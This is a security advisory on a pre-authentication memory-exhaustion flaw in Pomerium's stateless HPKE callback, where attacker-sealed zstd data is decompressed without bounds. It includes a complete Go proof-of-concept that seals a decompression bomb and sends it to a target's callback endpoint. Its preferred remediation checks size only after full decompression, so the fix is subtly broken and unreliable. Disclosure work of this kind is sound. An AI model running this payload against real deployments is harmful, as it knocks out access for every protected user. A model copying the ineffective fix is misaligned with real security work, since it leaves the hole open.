Pomerium Pre-Auth Memory Exhaustion via Unbounded zstd Decompression in HPKE Callback

WithDecoderLowmem(true) reduces the decoder's own memory footprint but applies no cap on the output. A 19 KB input can produce 128 MiB of output; a 38 KB input can produce 256 MiB.

By contrast, the codebase applies LimitReader when decompressing in internal/zero/api/download.go:75:

r = io.LimitReader(zr, maxUncompressedBlobSize)  // 1 GB cap

The protection is available but not applied to decodeQueryStringV2, confirming this is an inconsistent defense.

HPKE Does Not Block the Attack — Sender Validation Is Too Late

DecryptURLValues for the V2 format (url.go:107–126):

case IsEncryptedURLV2(encrypted):
    senderPublicKey, err = PublicKeyFromString(encrypted.Get(paramSenderPublicKeyV2))  // attacker-controlled
    // ...
    sealed, err := decode(encrypted.Get(paramQueryV2))
    // ...
    message, err := Open(receiverPrivateKey, senderPublicKey, sealed)  // HPKE decrypt — succeeds
    // ...
    decrypted, err = decodeQueryStringV2(message)  // zstd decompress — UNBOUNDED

Open uses SetupAuth (HPKE authenticated mode). It only verifies that sealed was created with a key pair whose public half is senderPublicKey. Because the attacker supplies both k (sender public key) and q (sealed payload), they choose a consistent key pair themselves. The Open call succeeds with their own freshly-generated keys.

Sender identity is validated after DecryptURLValues returns (stateless.go:391–397):

senderPublicKey, values, err := hpke.DecryptURLValues(s.hpkePrivateKey, r.Form)
// ... zstd already completed ...
err = s.validateSenderPublicKey(r.Context(), senderPublicKey)  // now rejects attacker

The decompression memory spike occurs unconditionally before rejection.

Pre-Auth Execution Chain on the Proxy Callback

The proxy registers the callback route without any session or signature middleware (proxy/handlers.go:53–54):

c := r.PathPrefix(endpoints.PathPomeriumCallback).Subrouter()
c.Path("/").Handler(httputil.HandlerFunc(p.Callback)).Methods(http.MethodGet)

For Stateless-flow deployments, p.Callback → authenticateflow.Stateless.Callback → hpke.DecryptURLValues (unbounded decompress) → validateSenderPublicKey (rejects). This is by design: the callback endpoint must be pre-auth because it is the landing page after an IdP OAuth redirect.

Pomerium's HPKE receiver public key is served publicly and without authentication (internal/controlplane/http.go:82):

root.Path(endpoints.PathHPKEPublicKey).Methods(http.MethodGet).Handler(
    traceHandler(hpke_handlers.HPKEPublicKeyHandler(hpkePublicKey)))

The full attack requires no credentials of any kind.

Self-hosted (Stateful) deployments are NOT affected. The stateful Callback calls s.VerifySignature(r) as its very first operation, verifying an HMAC-SHA256 signature over the URL before touching the body. If the signature is missing or invalid, the function returns immediately without decrypting or decompressing anything.

Proof of Concept

# Step 1: Retrieve the receiver public key
curl -so receiver.pub "https://TARGET_HOSTNAME/.well-known/pomerium/hpke-public-key" | xxd | head

# Step 2: Build and send the decompression bomb (requires Go)

package main

import (
    "encoding/base64"
    "fmt"
    "net/http"
    "net/url"
    "strings"

    "github.com/klauspost/compress/zstd"
    "github.com/pomerium/pomerium/pkg/hpke"
)

func main() {
    // Fetch receiver public key from the target
    resp, _ := http.Get("https://TARGET_HOSTNAME/.well-known/pomerium/hpke-public-key")
    pubBytes := make([]byte, 32)
    resp.Body.Read(pubBytes)
    resp.Body.Close()

    receiverPub, _ := hpke.PublicKeyFromBytes(pubBytes)

    // Attacker generates their own sender key pair
    attackerPriv, _ := hpke.GeneratePrivateKey()

    // Build a decompression bomb: 128 MiB of repeated bytes → ~19 KB compressed
    plain := "x=" + strings.Repeat("A", 128*1024*1024)
    enc, _ := zstd.NewWriter(nil)
    compressed := enc.EncodeAll([]byte(plain), nil)

    // Seal the bomb with attacker's private key → server's public key
    sealed, _ := hpke.Seal(attackerPriv, receiverPub, compressed)

    form := url.Values{
        "k": {attackerPriv.PublicKey().String()},
        "q": {base64.RawURLEncoding.EncodeToString(sealed)},
    }

    // Deliver to the pre-auth callback endpoint
    target := "https://TARGET_HOSTNAME/.pomerium/callback/?" + form.Encode()
    fmt.Printf("Sending bomb to: %s\n", target)
    http.Get(target)
    fmt.Println("Done — server allocated ~256 MB per request")
}

Repeated calls amplify the effect proportionally. The server-side rejection from validateSenderPublicKey does not prevent the allocation.

Impact

• Pre-auth denial of service against any Pomerium proxy using the hosted/stateless authenticate flow (Pomerium Zero / authenticate.pomerium.app).
• An attacker who can reach the proxy can allocate hundreds of megabytes of server memory per HTTP request by sending a ~20–40 KB payload.
• Sustained attack with concurrent requests can exhaust available memory and crash the proxy process, blocking all user access to every application protected by that Pomerium deployment.
• No credentials, session cookies, or insider access required — only network reachability to the proxy's HTTPS port.

Recommended Remediation

Option 1: Cap decompressed output size in decodeQueryStringV2 (preferred)

Apply a reasonable upper bound on the decompressed query string. Legitimate HPKE-encrypted query strings contain URL parameters (redirect URIs, scopes, timestamps) and are never more than a few hundred kilobytes:

const maxDecompressedQuerySize = 1 << 20 // 1 MiB — generous for any real query string

func decodeQueryStringV2(raw []byte) (url.Values, error) {
    bs, err := zstdDecoder.DecodeAll(raw, nil)
    if err != nil {
        return nil, err
    }
    if len(bs) > maxDecompressedQuerySize {
        return nil, fmt.Errorf("hpke: decompressed query string exceeds maximum size (%d bytes)", len(bs))
    }
    return url.ParseQuery(string(bs))
}

This fixes the root cause at the lowest layer and protects all callers unconditionally.

Option 2: Validate sender public key before decompressing

Restructure DecryptURLValues so the sender's public key is compared against the known authenticate service key before the decompression step is reached. This requires passing the expected public key into DecryptURLValues or splitting the decrypt and decompress steps:

// In Stateless.Callback, before calling DecryptURLValues:
senderPublicKey, _ := PublicKeyFromString(r.Form.Get("k"))
if err := s.validateSenderPublicKey(r.Context(), senderPublicKey); err != nil {
    return err  // reject before decompression
}
// then proceed with decryption and decompression

This eliminates the DoS attack path entirely for the callback endpoint but does not fix the underlying missing bound in decodeQueryStringV2, leaving other current or future callers at risk.

Credit

This vulnerability was discovered and reported by bugbunny.ai.